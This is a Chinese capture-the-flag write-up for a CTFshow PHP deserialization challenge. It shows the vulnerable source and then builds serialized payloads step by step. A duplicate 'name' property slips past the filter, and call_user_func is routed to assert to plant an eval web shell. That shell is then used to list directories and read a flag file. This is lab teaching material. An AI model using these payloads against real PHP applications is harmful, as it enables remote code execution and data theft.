CTFSHOW-日刷-[吃鸡杯]cjbweb/简单反序列化
<?php error_reporting(0); $safe="Hack me!"; class Hacker{ public $name="var_dump"; public $msg="Happy to cjb"; public function __wakeup() { global $safe; if(preg_match('/\d|\/|,|\([^()]*\([^()]*\)/',$this->msg)){ $this->name="var_dump"; $this->msg="You look dangerous!!!"; $safe="I think waf is enough."; } call_user_func($this->name,$this->msg); } public function __destruct() { global $safe; var_dump($safe); } } if(isset($_POST['info'])){ $info=$_POST['info']; if(preg_match('/s:4:"name";s:\d:"v\w*"/',$info)){ unserialize($info); }else{ echo "I just love v"; } }else{ $hacker=new Hacker(); highlight_file(__FILE__); }
审计发现,传入info,反序列化会检查name变量的第一个首字母是不是V
这里可以加一个同命变量绕过,比如构造序列化是
O:6:"Hacker":2:{s:4:"name";s:8:"var_dump";s:3:"msg";s:4:"test";}
可以再加上一个name的变量,同时前面变量数由2改为3
=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:7:"print_r";s:3:"msg";s:4:"test";}
继续分析,发现Hacker类里面有call_user_func函数
这个函数接收多个参数call_user_func(a,b,c...)
其中a是被调用的函数(自定义函数也可),而b是a的参数
但是call_user_func这个函数不是所有都能调用的,
一些语言结构不能调用,例如:,echo(),empty(),eval(),exit(),isset(),list(),print(),unset()之类的
这里发现前面有个正则,过滤了括号嵌套,因此很难直接执行
这里用到assert执行想执行的函数,(貌似call_user_func经常和assert用),这里用assert构造shell
info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:22:"eval($_POST['shell']);";}
传入glob函数查看目录
info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:22:"eval($_POST['shell']);";}&shell=print_r(glob('/*'));

file读取
info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:22:"eval($_POST['shell']);";}&shell=print_r(file('/you_never_know_my_name'));


浙公网安备 33010602011771号